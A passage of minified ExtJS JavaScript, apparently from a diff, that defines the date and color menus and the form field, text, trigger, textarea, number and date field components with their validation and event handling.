if (this.strict = (Ext.isIE7 && Ext.isStrict)) { + this.on("show", this.onShow, this, {single:true, delay:20}) + } + Ext.apply(this, {plain:true, showSeparator:false, items:this.picker = new Ext.DatePicker(Ext.applyIf({internalRender:this.strict || !Ext.isIE, ctCls:"x-menu-date-item", id:this.pickerId}, this.initialConfig))}); + this.picker.purgeListeners(); + Ext.menu.DateMenu.superclass.initComponent.call(this); + this.relayEvents(this.picker, ["select"]); + this.on("show", this.picker.focus, this.picker); + this.on("select", this.menuHide, this); + if (this.handler) { + this.on("select", this.handler, this.scope || this) + } +}, menuHide:function () { + if (this.hideOnClick) { + this.hide(true) + } +}, onBeforeShow:function () { + if (this.picker) { + this.picker.hideMonthPicker(true) + } +}, onShow:function () { + var a = this.picker.getEl(); + a.setWidth(a.getWidth()) +}}); +Ext.reg("datemenu", Ext.menu.DateMenu); +Ext.menu.ColorMenu = Ext.extend(Ext.menu.Menu, {enableScrolling:false, hideOnClick:true, cls:"x-color-menu", paletteId:null, initComponent:function () { + Ext.apply(this, {plain:true, showSeparator:false, items:this.palette = new Ext.ColorPalette(Ext.applyIf({id:this.paletteId}, this.initialConfig))}); + this.palette.purgeListeners(); + Ext.menu.ColorMenu.superclass.initComponent.call(this); + this.relayEvents(this.palette, ["select"]); + this.on("select", this.menuHide, this); + if (this.handler) { + this.on("select", this.handler, this.scope || this) + } +}, menuHide:function () { + if (this.hideOnClick) { + this.hide(true) + } +}}); +Ext.reg("colormenu", Ext.menu.ColorMenu); +Ext.form.Field = Ext.extend(Ext.BoxComponent, {invalidClass:"x-form-invalid", invalidText:"The value in this field is invalid", focusClass:"x-form-focus", validationEvent:"keyup", validateOnBlur:true, validationDelay:250, defaultAutoCreate:{tag:"input", type:"text", size:"20", autocomplete:"off"}, fieldClass:"x-form-field", msgTarget:"qtip", msgFx:"normal", readOnly:false, disabled:false, submitValue:true, isFormField:true, msgDisplay:"", hasFocus:false, initComponent:function () { + Ext.form.Field.superclass.initComponent.call(this); + this.addEvents("focus", "blur", "specialkey", "change", "invalid", "valid") +}, getName:function () { + return this.rendered && this.el.dom.name ? this.el.dom.name : this.name || this.id || "" +}, onRender:function (c, a) { + if (!this.el) { + var b = this.getAutoCreate(); + if (!b.name) { + b.name = this.name || this.id + } + if (this.inputType) { + b.type = this.inputType + } + this.autoEl = b + } + Ext.form.Field.superclass.onRender.call(this, c, a); + if (this.submitValue === false) { + this.el.dom.removeAttribute("name") + } + var d = this.el.dom.type; + if (d) { + if (d == "password") { + d = "text" + } + this.el.addClass("x-form-" + d) + } + if (this.readOnly) { + this.setReadOnly(true) + } + if (this.tabIndex !== undefined) { + this.el.dom.setAttribute("tabIndex", this.tabIndex) + } + this.el.addClass([this.fieldClass, this.cls]) +}, getItemCt:function () { + return this.itemCt +}, initValue:function () { + if (this.value !== undefined) { + this.setValue(this.value) + } else { + if (!Ext.isEmpty(this.el.dom.value) && this.el.dom.value != this.emptyText) { + this.setValue(this.el.dom.value) + } + } + this.originalValue = this.getValue() +}, isDirty:function () { + if (this.disabled || !this.rendered) { + return false + } + return String(this.getValue()) !== String(this.originalValue) +}, setReadOnly:function (a) { + if (this.rendered) { + this.el.dom.readOnly = a + } + this.readOnly = a +}, afterRender:function () { + Ext.form.Field.superclass.afterRender.call(this); + this.initEvents(); + this.initValue() +}, fireKey:function (a) { + if (a.isSpecialKey()) { + this.fireEvent("specialkey", this, a) + } +}, reset:function () { + this.setValue(this.originalValue); + this.clearInvalid() +}, initEvents:function () { + this.mon(this.el, Ext.EventManager.getKeyEvent(), this.fireKey, this); + this.mon(this.el, "focus", this.onFocus, this); + this.mon(this.el, "blur", this.onBlur, this, this.inEditor ? {buffer:10} : null) +}, preFocus:Ext.emptyFn, onFocus:function () { + this.preFocus(); + if (this.focusClass) { + this.el.addClass(this.focusClass) + } + if (!this.hasFocus) { + this.hasFocus = true; + this.startValue = this.getValue(); + this.fireEvent("focus", this) + } +}, beforeBlur:Ext.emptyFn, onBlur:function () { + this.beforeBlur(); + if (this.focusClass) { + this.el.removeClass(this.focusClass) + } + this.hasFocus = false; + if (this.validationEvent !== false && (this.validateOnBlur || this.validationEvent == "blur")) { + this.validate() + } + var a = this.getValue(); + if (String(a) !== String(this.startValue)) { + this.fireEvent("change", this, a, this.startValue) + } + this.fireEvent("blur", this); + this.postBlur() +}, postBlur:Ext.emptyFn, isValid:function (a) { + if (this.disabled) { + return true + } + var c = this.preventMark; + this.preventMark = a === true; + var b = this.validateValue(this.processValue(this.getRawValue()), a); + this.preventMark = c; + return b +}, validate:function () { + if (this.disabled || this.validateValue(this.processValue(this.getRawValue()))) { + this.clearInvalid(); + return true + } + return false +}, processValue:function (a) { + return a +}, validateValue:function (b) { + var a = this.getErrors(b)[0]; + if (a == undefined) { + return true + } else { + this.markInvalid(a); + return false + } +}, getErrors:function () { + return[] +}, getActiveError:function () { + return this.activeError || "" +}, markInvalid:function (c) { + if (this.rendered && !this.preventMark) { + c = c || this.invalidText; + var a = this.getMessageHandler(); + if (a) { + a.mark(this, c) + } else { + if (this.msgTarget) { + this.el.addClass(this.invalidClass); + var b = Ext.getDom(this.msgTarget); + if (b) { + b.innerHTML = c; + b.style.display = this.msgDisplay + } + } + } + } + this.setActiveError(c) +}, clearInvalid:function () { + if (this.rendered && !this.preventMark) { + this.el.removeClass(this.invalidClass); + var a = this.getMessageHandler(); + if (a) { + a.clear(this) + } else { + if (this.msgTarget) { + this.el.removeClass(this.invalidClass); + var b = Ext.getDom(this.msgTarget); + if (b) { + b.innerHTML = ""; + b.style.display = "none" + } + } + } + } + this.unsetActiveError() +}, setActiveError:function (b, a) { + this.activeError = b; + if (a !== true) { + this.fireEvent("invalid", this, b) + } +}, unsetActiveError:function (a) { + delete this.activeError; + if (a !== true) { + this.fireEvent("valid", this) + } +}, getMessageHandler:function () { + return Ext.form.MessageTargets[this.msgTarget] +}, getErrorCt:function () { + return this.el.findParent(".x-form-element", 5, true) || this.el.findParent(".x-form-field-wrap", 5, true) +}, alignErrorEl:function () { + this.errorEl.setWidth(this.getErrorCt().getWidth(true) - 20) +}, alignErrorIcon:function () { + this.errorIcon.alignTo(this.el, "tl-tr", [2, 0]) +}, getRawValue:function () { + var a = this.rendered ? this.el.getValue() : Ext.value(this.value, ""); + if (a === this.emptyText) { + a = "" + } + return a +}, getValue:function () { + if (!this.rendered) { + return this.value + } + var a = this.el.getValue(); + if (a === this.emptyText || a === undefined) { + a = "" + } + return a +}, setRawValue:function (a) { + return this.rendered ? (this.el.dom.value = (Ext.isEmpty(a) ? "" : a)) : "" +}, setValue:function (a) { + this.value = a; + if (this.rendered) { + this.el.dom.value = (Ext.isEmpty(a) ? "" : a); + this.validate() + } + return this +}, append:function (a) { + this.setValue([this.getValue(), a].join("")) +}}); +Ext.form.MessageTargets = {qtip:{mark:function (a, b) { + a.el.addClass(a.invalidClass); + a.el.dom.qtip = b; + a.el.dom.qclass = "x-form-invalid-tip"; + if (Ext.QuickTips) { + Ext.QuickTips.enable() + } +}, clear:function (a) { + a.el.removeClass(a.invalidClass); + a.el.dom.qtip = "" +}}, title:{mark:function (a, b) { + a.el.addClass(a.invalidClass); + a.el.dom.title = b +}, clear:function (a) { + a.el.dom.title = "" +}}, under:{mark:function (b, c) { + b.el.addClass(b.invalidClass); + if (!b.errorEl) { + var a = b.getErrorCt(); + if (!a) { + b.el.dom.title = c; + return + } + b.errorEl = a.createChild({cls:"x-form-invalid-msg"}); + b.on("resize", b.alignErrorEl, b); + b.on("destroy", function () { + Ext.destroy(this.errorEl) + }, b) + } + b.alignErrorEl(); + b.errorEl.update(c); + Ext.form.Field.msgFx[b.msgFx].show(b.errorEl, b) +}, clear:function (a) { + a.el.removeClass(a.invalidClass); + if (a.errorEl) { + Ext.form.Field.msgFx[a.msgFx].hide(a.errorEl, a) + } else { + a.el.dom.title = "" + } +}}, side:{mark:function (b, c) { + b.el.addClass(b.invalidClass); + if (!b.errorIcon) { + var a = b.getErrorCt(); + if (!a) { + b.el.dom.title = c; + return + } + b.errorIcon = a.createChild({cls:"x-form-invalid-icon"}); + if (b.ownerCt) { + b.ownerCt.on("afterlayout", b.alignErrorIcon, b); + b.ownerCt.on("expand", b.alignErrorIcon, b) + } + b.on("resize", b.alignErrorIcon, b); + b.on("destroy", function () { + Ext.destroy(this.errorIcon) + }, b) + } + b.alignErrorIcon(); + b.errorIcon.dom.qtip = c; + b.errorIcon.dom.qclass = "x-form-invalid-tip"; + b.errorIcon.show() +}, clear:function (a) { + a.el.removeClass(a.invalidClass); + if (a.errorIcon) { + a.errorIcon.dom.qtip = ""; + a.errorIcon.hide() + } else { + a.el.dom.title = "" + } +}}}; +Ext.form.Field.msgFx = {normal:{show:function (a, b) { + a.setDisplayed("block") +}, hide:function (a, b) { + a.setDisplayed(false).update("") +}}, slide:{show:function (a, b) { + a.slideIn("t", {stopFx:true}) +}, hide:function (a, b) { + a.slideOut("t", {stopFx:true, useDisplay:true}) +}}, slideRight:{show:function (a, b) { + a.fixDisplay(); + a.alignTo(b.el, "tl-tr"); + a.slideIn("l", {stopFx:true}) +}, hide:function (a, b) { + a.slideOut("l", {stopFx:true, useDisplay:true}) +}}}; +Ext.reg("field", Ext.form.Field); +Ext.form.TextField = Ext.extend(Ext.form.Field, {grow:false, growMin:30, growMax:800, vtype:null, maskRe:null, disableKeyFilter:false, allowBlank:true, minLength:0, maxLength:Number.MAX_VALUE, minLengthText:"The minimum length for this field is {0}", maxLengthText:"The maximum length for this field is {0}", selectOnFocus:false, blankText:"This field is required", validator:null, regex:null, regexText:"", emptyText:null, emptyClass:"x-form-empty-field", initComponent:function () { + Ext.form.TextField.superclass.initComponent.call(this); + this.addEvents("autosize", "keydown", "keyup", "keypress") +}, initEvents:function () { + Ext.form.TextField.superclass.initEvents.call(this); + if (this.validationEvent == "keyup") { + this.validationTask = new Ext.util.DelayedTask(this.validate, this); + this.mon(this.el, "keyup", this.filterValidation, this) + } else { + if (this.validationEvent !== false && this.validationEvent != "blur") { + this.mon(this.el, this.validationEvent, this.validate, this, {buffer:this.validationDelay}) + } + } + if (this.selectOnFocus || this.emptyText) { + this.mon(this.el, "mousedown", this.onMouseDown, this); + if (this.emptyText) { + this.applyEmptyText() + } + } + if (this.maskRe || (this.vtype && this.disableKeyFilter !== true && (this.maskRe = Ext.form.VTypes[this.vtype + "Mask"]))) { + this.mon(this.el, "keypress", this.filterKeys, this) + } + if (this.grow) { + this.mon(this.el, "keyup", this.onKeyUpBuffered, this, {buffer:50}); + this.mon(this.el, "click", this.autoSize, this) + } + if (this.enableKeyEvents) { + this.mon(this.el, {scope:this, keyup:this.onKeyUp, keydown:this.onKeyDown, keypress:this.onKeyPress}) + } +}, onMouseDown:function (a) { + if (!this.hasFocus) { + this.mon(this.el, "mouseup", Ext.emptyFn, this, {single:true, preventDefault:true}) + } +}, processValue:function (a) { + if (this.stripCharsRe) { + var b = a.replace(this.stripCharsRe, ""); + if (b !== a) { + this.setRawValue(b); + return b + } + } + return a +}, filterValidation:function (a) { + if (!a.isNavKeyPress()) { + this.validationTask.delay(this.validationDelay) + } +}, onDisable:function () { + Ext.form.TextField.superclass.onDisable.call(this); + if (Ext.isIE) { + this.el.dom.unselectable = "on" + } +}, onEnable:function () { + Ext.form.TextField.superclass.onEnable.call(this); + if (Ext.isIE) { + this.el.dom.unselectable = "" + } +}, onKeyUpBuffered:function (a) { + if (this.doAutoSize(a)) { + this.autoSize() + } +}, doAutoSize:function (a) { + return !a.isNavKeyPress() +}, onKeyUp:function (a) { + this.fireEvent("keyup", this, a) +}, onKeyDown:function (a) { + this.fireEvent("keydown", this, a) +}, onKeyPress:function (a) { + this.fireEvent("keypress", this, a) +}, reset:function () { + Ext.form.TextField.superclass.reset.call(this); + this.applyEmptyText() +}, applyEmptyText:function () { + if (this.rendered && this.emptyText && this.getRawValue().length < 1 && !this.hasFocus) { + this.setRawValue(this.emptyText); + this.el.addClass(this.emptyClass) + } +}, preFocus:function () { + var a = this.el, b; + if (this.emptyText) { + if (a.dom.value == this.emptyText) { + this.setRawValue(""); + b = true + } + a.removeClass(this.emptyClass) + } + if (this.selectOnFocus || b) { + a.dom.select() + } +}, postBlur:function () { + this.applyEmptyText() +}, filterKeys:function (b) { + if (b.ctrlKey) { + return + } + var a = b.getKey(); + if (Ext.isGecko && (b.isNavKeyPress() || a == b.BACKSPACE || (a == b.DELETE && b.button == -1))) { + return + } + var c = String.fromCharCode(b.getCharCode()); + if (!Ext.isGecko && b.isSpecialKey() && !c) { + return + } + if (!this.maskRe.test(c)) { + b.stopEvent() + } +}, setValue:function (a) { + if (this.emptyText && this.el && !Ext.isEmpty(a)) { + this.el.removeClass(this.emptyClass) + } + Ext.form.TextField.superclass.setValue.apply(this, arguments); + this.applyEmptyText(); + this.autoSize(); + return this +}, getErrors:function (a) { + var d = Ext.form.TextField.superclass.getErrors.apply(this, arguments); + a = Ext.isDefined(a) ? a : this.processValue(this.getRawValue()); + if (Ext.isFunction(this.validator)) { + var c = this.validator(a); + if (c !== true) { + d.push(c) + } + } + if (a.length < 1 || a === this.emptyText) { + if (this.allowBlank) { + return d + } else { + d.push(this.blankText) + } + } + if (!this.allowBlank && (a.length < 1 || a === this.emptyText)) { + d.push(this.blankText) + } + if (a.length < this.minLength) { + d.push(String.format(this.minLengthText, this.minLength)) + } + if (a.length > this.maxLength) { + d.push(String.format(this.maxLengthText, this.maxLength)) + } + if (this.vtype) { + var b = Ext.form.VTypes; + if (!b[this.vtype](a, this)) { + d.push(this.vtypeText || b[this.vtype + "Text"]) + } + } + if (this.regex && !this.regex.test(a)) { + d.push(this.regexText) + } + return d +}, selectText:function (h, a) { + var c = this.getRawValue(); + var e = false; + if (c.length > 0) { + h = h === undefined ? 0 : h; + a = a === undefined ? c.length : a; + var g = this.el.dom; + if (g.setSelectionRange) { + g.setSelectionRange(h, a) + } else { + if (g.createTextRange) { + var b = g.createTextRange(); + b.moveStart("character", h); + b.moveEnd("character", a - c.length); + b.select() + } + } + e = Ext.isGecko || Ext.isOpera + } else { + e = true + } + if (e) { + this.focus() + } +}, autoSize:function () { + if (!this.grow || !this.rendered) { + return + } + if (!this.metrics) { + this.metrics = Ext.util.TextMetrics.createInstance(this.el) + } + var c = this.el; + var b = c.dom.value; + var e = document.createElement("div"); + e.appendChild(document.createTextNode(b)); + b = e.innerHTML; + Ext.removeNode(e); + e = null; + b += " "; + var a = Math.min(this.growMax, Math.max(this.metrics.getWidth(b) + 10, this.growMin)); + this.el.setWidth(a); + this.fireEvent("autosize", this, a) +}, onDestroy:function () { + if (this.validationTask) { + this.validationTask.cancel(); + this.validationTask = null + } + Ext.form.TextField.superclass.onDestroy.call(this) +}}); +Ext.reg("textfield", Ext.form.TextField); +Ext.form.TriggerField = Ext.extend(Ext.form.TextField, {defaultAutoCreate:{tag:"input", type:"text", size:"16", autocomplete:"off"}, hideTrigger:false, editable:true, readOnly:false, wrapFocusClass:"x-trigger-wrap-focus", autoSize:Ext.emptyFn, monitorTab:true, deferHeight:true, mimicing:false, actionMode:"wrap", defaultTriggerWidth:17, onResize:function (a, c) { + Ext.form.TriggerField.superclass.onResize.call(this, a, c); + var b = this.getTriggerWidth(); + if (Ext.isNumber(a)) { + this.el.setWidth(a - b) + } + this.wrap.setWidth(this.el.getWidth() + b) +}, getTriggerWidth:function () { + var a = this.trigger.getWidth(); + if (!this.hideTrigger && !this.readOnly && a === 0) { + a = this.defaultTriggerWidth + } + return a +}, alignErrorIcon:function () { + if (this.wrap) { + this.errorIcon.alignTo(this.wrap, "tl-tr", [2, 0]) + } +}, onRender:function (b, a) { + this.doc = Ext.isIE ? Ext.getBody() : Ext.getDoc(); + Ext.form.TriggerField.superclass.onRender.call(this, b, a); + this.wrap = this.el.wrap({cls:"x-form-field-wrap x-form-field-trigger-wrap"}); + this.trigger = this.wrap.createChild(this.triggerConfig || {tag:"img", src:Ext.BLANK_IMAGE_URL, alt:"", cls:"x-form-trigger " + this.triggerClass}); + this.initTrigger(); + if (!this.width) { + this.wrap.setWidth(this.el.getWidth() + this.trigger.getWidth()) + } + this.resizeEl = this.positionEl = this.wrap +}, getWidth:function () { + return(this.el.getWidth() + this.trigger.getWidth()) +}, updateEditState:function () { + if (this.rendered) { + if (this.readOnly) { + this.el.dom.readOnly = true; + this.el.addClass("x-trigger-noedit"); + this.mun(this.el, "click", this.onTriggerClick, this); + this.trigger.setDisplayed(false) + } else { + if (!this.editable) { + this.el.dom.readOnly = true; + this.el.addClass("x-trigger-noedit"); + this.mon(this.el, "click", this.onTriggerClick, this) + } else { + this.el.dom.readOnly = false; + this.el.removeClass("x-trigger-noedit"); + this.mun(this.el, "click", this.onTriggerClick, this) + } + this.trigger.setDisplayed(!this.hideTrigger) + } + this.onResize(this.width || this.wrap.getWidth()) + } +}, setHideTrigger:function (a) { + if (a != this.hideTrigger) { + this.hideTrigger = a; + this.updateEditState() + } +}, setEditable:function (a) { + if (a != this.editable) { + this.editable = a; + this.updateEditState() + } +}, setReadOnly:function (a) { + if (a != this.readOnly) { + this.readOnly = a; + this.updateEditState() + } +}, afterRender:function () { + Ext.form.TriggerField.superclass.afterRender.call(this); + this.updateEditState() +}, initTrigger:function () { + this.mon(this.trigger, "click", this.onTriggerClick, this, {preventDefault:true}); + this.trigger.addClassOnOver("x-form-trigger-over"); + this.trigger.addClassOnClick("x-form-trigger-click") +}, onDestroy:function () { + Ext.destroy(this.trigger, this.wrap); + if (this.mimicing) { + this.doc.un("mousedown", this.mimicBlur, this) + } + delete this.doc; + Ext.form.TriggerField.superclass.onDestroy.call(this) +}, onFocus:function () { + Ext.form.TriggerField.superclass.onFocus.call(this); + if (!this.mimicing) { + this.wrap.addClass(this.wrapFocusClass); + this.mimicing = true; + this.doc.on("mousedown", this.mimicBlur, this, {delay:10}); + if (this.monitorTab) { + this.on("specialkey", this.checkTab, this) + } + } +}, checkTab:function (a, b) { + if (b.getKey() == b.TAB) { + this.triggerBlur() + } +}, onBlur:Ext.emptyFn, mimicBlur:function (a) { + if (!this.isDestroyed && !this.wrap.contains(a.target) && this.validateBlur(a)) { + this.triggerBlur() + } +}, triggerBlur:function () { + this.mimicing = false; + this.doc.un("mousedown", this.mimicBlur, this); + if (this.monitorTab && this.el) { + this.un("specialkey", this.checkTab, this) + } + Ext.form.TriggerField.superclass.onBlur.call(this); + if (this.wrap) { + this.wrap.removeClass(this.wrapFocusClass) + } +}, beforeBlur:Ext.emptyFn, validateBlur:function (a) { + return true +}, onTriggerClick:Ext.emptyFn}); +Ext.form.TwinTriggerField = Ext.extend(Ext.form.TriggerField, {initComponent:function () { + Ext.form.TwinTriggerField.superclass.initComponent.call(this); + this.triggerConfig = {tag:"span", cls:"x-form-twin-triggers", cn:[ + {tag:"img", src:Ext.BLANK_IMAGE_URL, alt:"", cls:"x-form-trigger " + this.trigger1Class}, + {tag:"img", src:Ext.BLANK_IMAGE_URL, alt:"", cls:"x-form-trigger " + this.trigger2Class} + ]} +}, getTrigger:function (a) { + return this.triggers[a] +}, afterRender:function () { + Ext.form.TwinTriggerField.superclass.afterRender.call(this); + var c = this.triggers, b = 0, a = c.length; + for (; b < a; ++b) { + if (this["hideTrigger" + (b + 1)]) { + c[b].hide() + } + } +}, initTrigger:function () { + var a = this.trigger.select(".x-form-trigger", true), b = this; + a.each(function (d, g, c) { + var e = "Trigger" + (c + 1); + d.hide = function () { + var h = b.wrap.getWidth(); + this.dom.style.display = "none"; + b.el.setWidth(h - b.trigger.getWidth()); + b["hidden" + e] = true + }; + d.show = function () { + var h = b.wrap.getWidth(); + this.dom.style.display = ""; + b.el.setWidth(h - b.trigger.getWidth()); + b["hidden" + e] = false + }; + this.mon(d, "click", this["on" + e + "Click"], this, {preventDefault:true}); + d.addClassOnOver("x-form-trigger-over"); + d.addClassOnClick("x-form-trigger-click") + }, this); + this.triggers = a.elements +}, getTriggerWidth:function () { + var a = 0; + Ext.each(this.triggers, function (d, c) { + var e = "Trigger" + (c + 1), b = d.getWidth(); + if (b === 0 && !this["hidden" + e]) { + a += this.defaultTriggerWidth + } else { + a += b + } + }, this); + return a +}, onDestroy:function () { + Ext.destroy(this.triggers); + Ext.form.TwinTriggerField.superclass.onDestroy.call(this) +}, onTrigger1Click:Ext.emptyFn, onTrigger2Click:Ext.emptyFn}); +Ext.reg("trigger", Ext.form.TriggerField); +Ext.form.TextArea = Ext.extend(Ext.form.TextField, {growMin:60, growMax:1000, growAppend:" \n ", enterIsSpecial:false, preventScrollbars:false, onRender:function (b, a) { + if (!this.el) { + this.defaultAutoCreate = {tag:"textarea", style:"width:100px;height:60px;", autocomplete:"off"} + } + Ext.form.TextArea.superclass.onRender.call(this, b, a); + if (this.grow) { + this.textSizeEl = Ext.DomHelper.append(document.body, {tag:"pre", cls:"x-form-grow-sizer"}); + if (this.preventScrollbars) { + this.el.setStyle("overflow", "hidden") + } + this.el.setHeight(this.growMin) + } +}, onDestroy:function () { + Ext.removeNode(this.textSizeEl); + Ext.form.TextArea.superclass.onDestroy.call(this) +}, fireKey:function (a) { + if (a.isSpecialKey() && (this.enterIsSpecial || (a.getKey() != a.ENTER || a.hasModifier()))) { + this.fireEvent("specialkey", this, a) + } +}, doAutoSize:function (a) { + return !a.isNavKeyPress() || a.getKey() == a.ENTER +}, filterValidation:function (a) { + if (!a.isNavKeyPress() || (!this.enterIsSpecial && a.keyCode == a.ENTER)) { + this.validationTask.delay(this.validationDelay) + } +}, autoSize:function () { + if (!this.grow || !this.textSizeEl) { + return + } + var c = this.el, a = Ext.util.Format.htmlEncode(c.dom.value), d = this.textSizeEl, b; + Ext.fly(d).setWidth(this.el.getWidth()); + if (a.length < 1) { + a = "  " + } else { + a += this.growAppend; + if (Ext.isIE) { + a = a.replace(/\n/g, " 
    ") + } + } + d.innerHTML = a; + b = Math.min(this.growMax, Math.max(d.offsetHeight, this.growMin)); + if (b != this.lastHeight) { + this.lastHeight = b; + this.el.setHeight(b); + this.fireEvent("autosize", this, b) + } +}}); +Ext.reg("textarea", Ext.form.TextArea); +Ext.form.NumberField = Ext.extend(Ext.form.TextField, {fieldClass:"x-form-field x-form-num-field", allowDecimals:true, decimalSeparator:".", decimalPrecision:2, allowNegative:true, minValue:Number.NEGATIVE_INFINITY, maxValue:Number.MAX_VALUE, minText:"The minimum value for this field is {0}", maxText:"The maximum value for this field is {0}", nanText:"{0} is not a valid number", baseChars:"0123456789", autoStripChars:false, initEvents:function () { + var a = this.baseChars + ""; + if (this.allowDecimals) { + a += this.decimalSeparator + } + if (this.allowNegative) { + a += "-" + } + a = Ext.escapeRe(a); + this.maskRe = new RegExp("[" + a + "]"); + if (this.autoStripChars) { + this.stripCharsRe = new RegExp("[^" + a + "]", "gi") + } + Ext.form.NumberField.superclass.initEvents.call(this) +}, getErrors:function (b) { + var c = Ext.form.NumberField.superclass.getErrors.apply(this, arguments); + b = Ext.isDefined(b) ? b : this.processValue(this.getRawValue()); + if (b.length < 1) { + return c + } + b = String(b).replace(this.decimalSeparator, "."); + if (isNaN(b)) { + c.push(String.format(this.nanText, b)) + } + var a = this.parseValue(b); + if (a < this.minValue) { + c.push(String.format(this.minText, this.minValue)) + } + if (a > this.maxValue) { + c.push(String.format(this.maxText, this.maxValue)) + } + return c +}, getValue:function () { + return this.fixPrecision(this.parseValue(Ext.form.NumberField.superclass.getValue.call(this))) +}, setValue:function (a) { + a = Ext.isNumber(a) ? a : parseFloat(String(a).replace(this.decimalSeparator, ".")); + a = this.fixPrecision(a); + a = isNaN(a) ? "" : String(a).replace(".", this.decimalSeparator); + return Ext.form.NumberField.superclass.setValue.call(this, a) +}, setMinValue:function (a) { + this.minValue = Ext.num(a, Number.NEGATIVE_INFINITY) +}, setMaxValue:function (a) { + this.maxValue = Ext.num(a, Number.MAX_VALUE) +}, parseValue:function (a) { + a = parseFloat(String(a).replace(this.decimalSeparator, ".")); + return isNaN(a) ? "" : a +}, fixPrecision:function (b) { + var a = isNaN(b); + if (!this.allowDecimals || this.decimalPrecision == -1 || a || !b) { + return a ? "" : b + } + return parseFloat(parseFloat(b).toFixed(this.decimalPrecision)) +}, beforeBlur:function () { + var a = this.parseValue(this.getRawValue()); + if (!Ext.isEmpty(a)) { + this.setValue(a) + } +}}); +Ext.reg("numberfield", Ext.form.NumberField); +Ext.form.DateField = Ext.extend(Ext.form.TriggerField, {format:"m/d/Y", altFormats:"m/d/Y|n/j/Y|n/j/y|m/j/y|n/d/y|m/j/Y|n/d/Y|m-d-y|m-d-Y|m/d|m-d|md|mdy|mdY|d|Y-m-d|n-j|n/j", disabledDaysText:"Disabled", disabledDatesText:"Disabled", minText:"The date in this field must be equal to or after {0}", maxText:"The date in this field must be equal to or before {0}", invalidText:"{0} is not a valid date - it must be in the format {1}", triggerClass:"x-form-date-trigger", showToday:true, startDay:0, defaultAutoCreate:{tag:"input", type:"text", size:"10", autocomplete:"off"}, initTime:"12", initTimeFormat:"H", safeParse:function (b, c) { + if (Date.formatContainsHourInfo(c)) { + return Date.parseDate(b, c) + } else { + var a = Date.parseDate(b + " " + this.initTime, c + " " + this.initTimeFormat); + if (a) { + return a.clearTime() + } + } +}, initComponent:function () { + Ext.form.DateField.superclass.initComponent.call(this); + this.addEvents("select"); + if (Ext.isString(this.minValue)) { + this.minValue = this.parseDate(this.minValue) + } + if (Ext.isString(this.maxValue)) { + this.maxValue = this.parseDate(this.maxValue) + } + this.disabledDatesRE = null; + this.initDisabledDays() +}, initEvents:function () { + Ext.form.DateField.superclass.initEvents.call(this); + this.keyNav = new Ext.KeyNav(this.el, {down:function (a) { + this.onTriggerClick() + }, scope:this, forceKeyDown:true}) +}, initDisabledDays:function () { + if (this.disabledDates) { + var b = this.disabledDates, a = b.length - 1, c = "(?:"; + Ext.each(b, function (g, e) { + c += Ext.isDate(g) ? "^" + Ext.escapeRe(g.dateFormat(this.format)) + "$" : b[e]; + if (e != a) { + c += "|" + } + }, this); + this.disabledDatesRE = new RegExp(c + ")") + } +}, setDisabledDates:function (a) { + this.disabledDates = a; + this.initDisabledDays(); + if (this.menu) { + this.menu.picker.setDisabledDates(this.disabledDatesRE) + } +}, setDisabledDays:function (a) { + this.disabledDays = a; + if (this.menu) { + this.menu.picker.setDisabledDays(a) + } +}, setMinValue:function (a) { + this.minValue = (Ext.isString(a) ? this.parseDate(a) : a); + if (this.menu) { + this.menu.picker.setMinDate(this.minValue) + } +}, setMaxValue:function (a) { + this.maxValue = (Ext.isString(a) ? this.parseDate(a) : a); + if (this.menu) { + this.menu.picker.setMaxDate(this.maxValue) + } +}, getErrors:function (e) { + var h = Ext.form.DateField.superclass.getErrors.apply(this, arguments); + e = this.formatDate(e || this.processValue(this.getRawValue())); + if (e.length < 1) { + return h + } + var c = e; + e = this.parseDate(e); + if (!e) { + h.push(String.format(this.invalidText, c, this.format)); + return h + } + var g = e.getTime(); + if (this.minValue && g < this.minValue.clearTime().getTime()) { + h.push(String.format(this.minText, this.formatDate(this.minValue))) + } + if (this.maxValue && g > this.maxValue.clearTime().getTime()) { + h.push(String.format(this.maxText, this.formatDate(this.maxValue))) + } + if (this.disabledDays) { + var a = e.getDay(); + for (var b = 0; b < this.disabledDays.length; b++) { + if (a === this.disabledDays[b]) { + h.push(this.disabledDaysText); + break + } + } + } + var d = this.formatDate(e); + if (this.disabledDatesRE && this.disabledDatesRE.test(d)) { + h.push(String.format(this.disabledDatesText, d)) + } + return h +}, validateBlur:function () { + return !this.menu || !this.menu.isVisible() +}, getValue:function () { + return this.parseDate(Ext.form.DateField.superclass.getValue.call(this)) || "" +}, setValue:function (a) { + return Ext.form.DateField.superclass.setValue.call(this, this.formatDate(this.parseDate(a))) +}, parseDate:function (g) { + if (!g || Ext.isDate(g)) { + return g + } + var b = this.safeParse(g, this.format), c = this.altFormats, e = this.altFormatsArray; + if (!b && c) { + e = e || c.split("|"); + for (var d = 0, a = e.length; d < a && !b; d++) { + b = this.safeParse(g, e[d]) + } + } + return b +}, onDestroy:function () { + Ext.destroy(this.menu, this.keyNav); + Ext.form.DateField.superclass.onDestroy.call(this) +}, formatDate:function (a) { + return Ext.isDate(a) ? a.dateFormat(this.format) : a +}, onTriggerClick:function () { + if (this.disabled) { + return + } + if (this.menu == null) { + this.menu = new Ext.menu.DateMenu({hideOnClick:false, focusOnSelect:false}) + } + this.onFocus(); + Ext.apply(this.menu.picker, {minDate:this.minValue, maxDate:this.maxValue, disabledDatesRE:this.disabledDatesRE, disabledDatesText:this.disabledDatesText, disabledDays:this.disabledDays, disabledDaysText:this.disabledDaysText, format:this.format, showToday:this.showToday, startDay:this.startDay, minText:String.format(this.minText, this.formatDate(this.minValue)), maxText:String.format(this.maxText, this.formatDate(this.maxValue))}); + this.menu.picker.setValue(this.getValue() || new Date()); + this.menu.show(this.el, "tl-bl?"); + this.menuEvents("on") +}, menuEvents:function (a) { + this.menu[a]("select", this.onSelect, this); + this.menu[a]("hide", this.onMenuHide, this); + this.menu[a]("show", this.onFocus, this) +}, onSelect:function (a, b) { + this.setValue(b); + this.fireEvent("select", this, b); + this.menu.hide() +}, onMenuHide:function () { + this.focus(false, 60); + this.menuEvents("un") +}, beforeBlur:function () { + var a = this.parseDate(this.getRawValue()); + if (a) { + this.setValue(a) + } +}}); +Ext.reg("datefield", Ext.form.DateField); +Ext.form.DisplayField = Ext.extend(Ext.form.Field, {validationEvent:false, validateOnBlur:false, defaultAutoCreate:{tag:"div"}, fieldClass:"x-form-display-field", htmlEncode:false, initEvents:Ext.emptyFn, isValid:function () { + return true +}, validate:function () { + return true +}, getRawValue:function () { + var a = this.rendered ? this.el.dom.innerHTML : Ext.value(this.value, ""); + if (a === this.emptyText) { + a = "" + } + if (this.htmlEncode) { + a = 